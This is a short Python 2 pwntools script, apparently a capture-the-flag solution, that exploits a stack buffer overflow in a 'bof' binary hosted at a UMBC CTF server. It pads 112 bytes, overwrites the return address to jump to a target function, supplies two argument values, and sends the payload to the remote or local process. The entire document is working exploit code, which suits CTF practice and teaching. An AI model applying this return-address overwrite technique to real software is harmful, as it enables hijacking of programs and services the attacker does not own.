#!/usr/bin/env python2
from pwn import *
import sys

audition = p32(0x08049182)
time     = p32(0x4b0)
room_num = p32(0x16e)
payload  = 'a'* 112 + audition + 'a'*4 + time + room_num

if len(sys.argv) == 1:
    conn = remote('ctf.umbccd.io', 4000)
else:
    conn = process('./bof')

conn.sendlineafter('?', 'name')
conn.sendlineafter('?', payload)
print conn.recvall()
conn.close
